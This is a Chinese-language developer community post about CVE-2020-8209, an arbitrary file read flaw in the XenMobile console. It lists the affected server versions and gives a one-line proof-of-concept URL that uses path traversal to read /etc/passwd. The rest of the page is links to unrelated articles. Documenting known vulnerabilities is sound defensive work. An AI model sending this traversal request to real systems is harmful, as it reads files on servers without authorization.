AI 助理
备案控制台
开发者社区 安全 文章 正文

CVE-2020-8209 XenMobile 控制台存在任意文件读取漏洞

2022-12-02 160
版权
版权声明：
本文内容由阿里云实名注册用户自发贡献，版权归原作者所有，阿里云开发者社区不拥有其著作权，亦不承担相应法律责任。具体规则请查看《 阿里云开发者社区用户服务协议》和 《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容，填写 侵权投诉表单进行举报，一经查实，本社区将立刻删除涉嫌侵权内容。
简介： XenMobile提供了一种可靠的移动设备管理解决方案，可以对企业设备和员工个人设备进行基于角色的管理、配置和支持并确保安全性。与只能提供基本设备管理软件的大多数厂商不同，XenMobile可提供多种高级功能和特性来确保移动应用可随时用于业务目的并确保移动内容安全性，如区域防护（geo-fencing）、自动化合规性及一键式实时聊天和支持等。


漏洞简介

产品版本：

RP2之前的XenMobile服务器10.12

RP4之前的XenMobile服务器10.11

RP6之前的XenMobile服务器10.10

10.9 RP5之前的XenMobile服务器

漏洞复现

poc

https://x.x.x.x:8443/jsp/help-sb-download.jsp?sbFileName=../../../etc/passwd

文章标签：
安全
关键词：
控制台漏洞
5q2a2sugf4ej6
目录
相关文章
cnbird
|
安全
关于exploit-db上的针对Lotus domino控制台绕过的漏洞的解释
控制台绕过的条件: 1. 安装domino程序 2. 停止当前运行的服务 nserver.exe -c exit 3.
cnbird
1379 0
程序员一博
|
Java
java实战项目超市管理系统控制台版
java实战项目超市管理系统控制台版
程序员一博
216 0
秋说
|
Java
【Java开发指南 | 第二十篇】Java流之控制台
【Java开发指南 | 第二十篇】Java流之控制台
秋说
215 2
老板这功能得加钱
|
XML 监控 Dubbo
Dubbo03【管理控制台和监控中心搭建】，Java开发实用必备的几款插件
Dubbo03【管理控制台和监控中心搭建】，Java开发实用必备的几款插件
老板这功能得加钱
212 1
骚戴
|
存储 Java 关系型数据库
景区特色商品管理系统【控制台+MySQL】（Java课设）
景区特色商品管理系统【控制台+MySQL】（Java课设）
骚戴
257 1
骚戴
|
存储 Java 关系型数据库
银行储蓄管理系统【控制台+MySQL】（Java课设）
银行储蓄管理系统【控制台+MySQL】（Java课设）
骚戴
305 1
骚戴
|
存储 Java 关系型数据库
员工信息管理系统【控制台+MySQL】（Java课设）
员工信息管理系统【控制台+MySQL】（Java课设）
骚戴
136 0
员工信息管理系统【控制台+MySQL】（Java课设）
骚戴
|
存储 Java 关系型数据库
教师工资管理系统【控制台+MySQL】（Java课设）
教师工资管理系统【控制台+MySQL】（Java课设）
骚戴
248 0
骚戴
|
存储 Java 关系型数据库
员工工资管理系统【控制台+MySQL】（Java课设）
员工工资管理系统【控制台+MySQL】（Java课设）
骚戴
293 0
骚戴
|
存储 Java 关系型数据库
长途汽车售票管理系统【控制台+MySQL】（Java课设）
长途汽车售票管理系统【控制台+MySQL】（Java课设）
骚戴
256 0

热门文章

最新文章

  • 1
    VMware Remote Console 13.0.1 for macOS, Linux, Windows - vSphere 虚拟机控制台的桌面客户端
  • 2
    Higress v2.1.8：30 项引擎更新 + 4 项控制台更新
  • 3
    .NET Core 控制台应用程序使用异步（Async）Main方法
  • 4
    eclipse中ant build 控制台乱码解决解决方法（ant执行java）
  • 5
    配置tomcat 7控制台账号
  • 6
    pycharm使用pytest运行测试用例，无法在控制台输出print语句、log语句的解决办法
  • 7
    Sentinel控制台规则配置
  • 8
    在浏览器控制台输出内容 console.log(string);
  • 9
    数据管理DMS操作报错合集之阿里云DMS控制台上展示出了已经删除的数据库信息，如何解决
  • 10
    OpenGL学习笔记：Console工程下如何不显示控制台黑窗口只显示Windows窗口
  • 1
    XCode控制台调试无法看到函数跟踪或无法看到输出的日志问题及解决方案
    843
  • 2
    Edge浏览器控制台（F12）中网络不显示接口信息
    4466
  • 3
    Dubbo03【管理控制台和监控中心搭建】，Java开发实用必备的几款插件
    212
  • 4
    希望阿里的小伙伴在控制台的易用性多上点心，每次问客服好像都是外包人员，啥也不会
    213
  • 5
    【Java开发指南 | 第二十篇】Java流之控制台
    215
  • 6
    数据管理DMS操作报错合集之阿里云DMS控制台上展示出了已经删除的数据库信息，如何解决
    965
  • 7
    Dubbo管理控制台
    200
  • 8
    对象存储OSS产品常见问题之控制台概览显示的流量信息和bucket的不一致如何解决
    353
  • 9
    【vue】vue2 禁用控制台、右键 | 代码防扒
    492
  • 10
    java实战项目超市管理系统控制台版
    217

    • 相关电子书

    更多
  • DTS控制台一本通
  • 低代码开发师（初级）实战教程
  • 阿里巴巴DevOps 最佳实践手册

    • 相关实验场景

    更多
  • SAE极速部署个人LLM效能工具
    • 下一篇
    阿里云负载均衡收费标准：ALB、NLB和CLB价格，包括LCU费用、实例费和公网带宽价格